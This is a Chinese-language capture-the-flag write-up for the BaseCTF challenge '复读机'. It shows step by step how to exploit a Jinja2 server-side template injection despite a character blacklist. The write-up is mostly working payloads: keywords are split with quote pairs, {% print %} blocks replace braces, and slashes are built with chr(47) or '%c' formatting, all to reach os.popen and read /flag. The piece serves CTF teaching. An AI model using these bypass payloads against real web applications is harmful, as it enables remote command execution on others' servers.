复读机

  1. 复读机
    1. 知识点
      1. chr函数
      2. format

复读机

首先打开靶机发现很明显是ssti,但是会检测开头,开头必须是BaseCTF

然后测试过滤,过滤了以下符号

1
+ - * / . {{ }} __ : " \

先去找能够进行RCE的类比如 <class 'os._wrap_close'>,’.’被过滤了,用中括号绕过,一些关键字被过滤,在关键字中间插入一对单引号 ''绕过

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}

然后测试一下能否命令执行

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}

发现成功执行

但是这里过滤了斜杠/和反斜杠,我们需要利用chr函数构造斜杠

首先先找到并set一个chr函数

1
2
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}

利用chr函数和~拼接构造命令

1
2
3
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去,即可得到 flag

同理,利用 format 来得到 / 也是可以的

1
2
BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

知识点

chr函数

当我们需要绕过一些特殊字符过滤时,比如斜杠/,空格时,可以先去找<class 'os._wrap_close'>类然后去找到chr函数并调用,通过

{%set chr=xxx%}去构造出一个chr函数,然后就能通过ascii码值去构造出这些特殊字符

例如:

1
2
3
4
5
6
7
8
9
10
11
{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr(47)) %}

#/

chr(47) #/
chr(32) #空格

通过~符号拼接构造出命令
{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}

format

除了使用chr函数添加ascii码参数构造特殊字符外,还可以使用python的格式化字符来生成特殊字符
例如:

1
2
3
4
5
'%c' % (47) 会输出字符串 /


然后~符号通过拼接构造出命令
{% set cmd='cat '~'%c'%(47)~'flag' %}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github